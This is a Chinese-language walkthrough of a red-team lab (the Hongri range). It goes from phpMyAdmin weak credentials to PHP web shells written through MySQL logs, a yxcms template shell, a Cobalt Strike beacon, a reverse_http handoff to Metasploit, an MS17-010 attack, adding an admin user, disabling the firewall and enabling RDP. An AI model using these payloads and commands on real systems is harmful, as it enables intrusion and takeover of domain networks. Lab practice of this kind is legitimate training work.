一、環境搭建
說明:虛擬機器所有初始密碼都為hongrisec@2019(後面需要改密碼,自己設定)
這裡設定兩個網路卡,配置如下:
三臺虛擬機器以及攻擊機ip如下:
kali機:192.168.230.131(VMnet8 網路卡隨機分配的IP)
win7:192.168.230.153**(外網ip)**,192.168.52.143**(內網ip)**
Windows 2008 (域控):192.168.52.138(內網)
Win2k3 (域管):192.168.52.141(內網)
(1)win7環境配置
修改如下配置:
嘗試ping外網和內網機(win 2008),都能ping通,這裡還有一點就是要把這個防火牆關閉,否則kali會ping不通
開啟phpstudy(路徑在C盤下面),可以正常訪問探針
(2)win 2008環境配置
輸入密碼顯示需要更改密碼,隨意更改密碼就行
win 2008的ip如下圖:
(3)Win2k3環境配置
這裡也是一樣,需要更改密碼,密碼隨意
ip為192.168.236.141 與外網不連通
二、外網滲透
(1)資訊收集
在外網透過目錄掃描,發現phpmyadmin登入口
使用弱口令root/root成功進入
在裡面看見了mysql資料庫和一個 yxcms的資料庫,應該也存在一個搭建的yxcms服務
(2)phpmyadmin後臺getshell
phpmyadmin有兩種getshell方式:
1、into outfile匯出木馬
2、利用Mysql日誌檔案getshell
1、嘗試into outfile匯出木馬(失敗)
查詢網站路徑:
select @@basedir;
可以看到網站路徑為:C:/phpStudy/MySQL/
再嘗試將木馬寫入到www網站根目錄下:
select '<?php eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/www/hack.php';
發現寫入不了
也可以直接嘗試檢視資料庫是否有匯入許可權,看能否直接匯入木馬
show global variables like 'secure%'; //為了查詢secure_file_priv
當 secure_file_priv 的值為 NULL ,表示限制 mysqld 不允許匯入|匯出,此時無法提權
當 secure_file_priv 的值為 /tmp/ ,表示限制 mysqld 的匯入|匯出只能發生在 /tmp/目錄下,此時也無法提權
當 secure_file_priv 的值沒有具體值時,表示不對 mysqld 的匯入|匯出做限制,此時可提權!
此時查詢結果為NULL,所以不能寫入
2、利用Mysql日誌檔案getshell
首先查詢是否有開啟日誌
show variables like '%general%';
日誌記錄功能關閉,但是可以開啟,命令如下:
SET GLOBAL general_log='on';
命令執行後,再檢視日誌狀態,開啟成功
開啟後將日誌檔案的儲存位置改為可訪問到的目錄, 根目錄即可
set global general_log_file = 'C:/phpStudy/WWW/hack.php'
執行下邊一句話木馬 ,資料庫將會將查詢語句儲存在日誌檔案中
SELECT '<?php @eval($_POST["hack"]);?>'
嘗試蟻劍連結,成功上傳
(3)yxcms後臺getshell
上面資訊收集發現有個yxcms,同時我們進入後臺之後,可以看到一個 beifen.rar備份檔案和yxcms目錄,這裡也有個getshell的方法,這裡我們也記錄一下。
可以看到在公告處,洩露了 yxcms的admin後臺登入路徑 以及 預設的密碼
登陸成功後,在前臺模板出看見有很多的php檔案的模板,寫入shell
現在需要找到檔案上傳到哪了,可以找找前面提到的 beifen.rar 備份檔案
在備份檔案直接搜尋原來存有的檔案,就能輕易知道檔案路徑了
最後的路徑為:yxcms/protected/apps/default/view/default
蟻劍連線 成功拿到shell
三、內網資訊收集
(1)CS上線
kali執行CS
./teamserver 攻擊Ip 123456(密碼)
主機執行CS 客戶端並連線 CS 服務端,配置好listener監聽器之後,生成 exe後門程式
直接使用蟻劍上傳後門
直接使用蟻劍執行後門檔案,CS成功上線
這裡可以執行個 sleep 0,不然回顯會很慢
這裡嘗試直接提權
提權成功
可以看到域控的檔案 我們可以進行上傳檔案操作,下面再看看其他方法 橫向移動拿到域控和域內其他機器
(3)域內資訊收集
內網資訊收集的主要目的就是查詢域控以及域內的其他主機
net view # 檢視區域網內其他主機名
net config Workstation # 檢視計算機名、全名、使用者名稱、系統版本、工作站、域、登入域
net user # 檢視本機使用者列表
net user /domain # 檢視域使用者
net localgroup administrators # 檢視本地管理員組(通常會有域使用者)
net view /domain # 檢視有幾個域
net user 使用者名稱 /domain # 獲取指定域使用者的資訊
net group /domain # 檢視域裡面的工作組,檢視把使用者分了多少組(只能在域控上操作)
net group 組名 /domain # 檢視域中某工作組
net group "domain admins" /domain # 檢視域管理員的名字
net group "domain computers" /domain # 檢視域中的其他主機名
net group "doamin controllers" /domain # 檢視域控制器主機名(可能有多臺)
檢視有幾個域存在
四、內網滲透
(1)cs與msf聯動
首先在msf上監聽自己的ip跟埠:
use exploit/multi/handler
set payload windows/meterpreter/reverse_http(跟cs上選用的payload一樣)
set lhost 本機ip
set lport 接受的埠
exploit
然後cs那邊建立一個foreign監聽的listeners。
Listeners的ip為msf的ip,埠為msf監聽的埠
然後,回到cs上,選中拿下的計算機會話,右鍵選中新建會話,然後在彈出來的框中選擇剛剛建立的foreign監聽器,然後執行。
此時,msf下即可看到已經拿到了一個新的會話。
為了使除了msf的其它工具也能透過cs反彈過來的會話進入內網,msf建立需要建立socks反向代理
(正向代理就是指內網機器如果不能直接連到外網,建立正向代理可以連到外網,而反向代理則相反,是外網主機想要進入內網建立的代理)
首先新建路由
run post/multi/manage/autoroute
檢視路由
run autoroute -p
先執行background 命令將當前執行的 Meterpreter 會話切換到後臺(後續也可執行sessions -i 重新返回會話),然後使用 MSF 自帶 auxiliary/scanner/portscan/tcp 模組掃描內網域成員主機 192.168.52.138 開放的埠:
background
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.138
set ports 80,135-139,445,3306,3389
run
192.168.52.138 win2003域成員機開啟了 135、139、445埠
同理掃描一下win2008,開啟了80、135、139、445埠
(2)MSF進行ms17-010攻擊
開放了445埠可以用MS17_010(永恆之藍)攻擊試一下
search ms17_010 //找出ms17_010的攻擊模組
use auxiliary/scanner/smb/smb_ms17_010 //此模組失敗
set rhosts 192.168.52.138
run
最後使用下面模組,可以成功命令執行
use auxiliary/admin/smb/ms17_010_command
set COMMAND net user
set RHOST 192.168.52.141
exploit
試著新增使用者
set COMMAND net user hack hack /add
發現新增不成功,後來發現是因為有密碼設定策略,密碼不能太簡單且不能包含使用者名稱
set COMMAND net user hack zkm@2024
成功新增
然後把新增的使用者加入管理員組
set COMMAND net localgroup administrators hack /add
新增成功
接著把防火牆關了
#關閉防火牆
netsh firewall set opmode disable #winsows server 2003 之前
netsh advfirewall set allprofiles state off #winsows server 2003 之後
試著開啟3389服務
#登錄檔開啟3389埠
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
#新增防火牆規則
netsh advfirewall firewall add rule name="Open 3389" dir=in action=allow protocol=TCP localport=3389
這裡不知道為啥3389埠打不開,尼瑪